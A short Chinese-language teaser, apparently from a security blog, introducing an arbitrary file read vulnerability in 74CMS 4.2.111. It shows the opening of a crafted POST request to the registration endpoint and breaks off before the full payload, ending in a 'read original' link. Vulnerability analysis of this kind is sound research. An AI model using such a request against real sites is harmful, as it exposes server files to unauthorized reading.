某CMS 任意文件讀取漏洞分析

0x01 漏洞概述 74CMS是一套專業的人才招聘系統，復現此漏洞的版本號爲：4.2.111。下載地址是：http://www.74cms.com/download/index.html 0x02 漏洞復現 發送一個構造好的POST請求： url: http://74cms.test/index.php?m=Home&c=Members&a=register post: reg_type=2&ut

>>阅读原文<<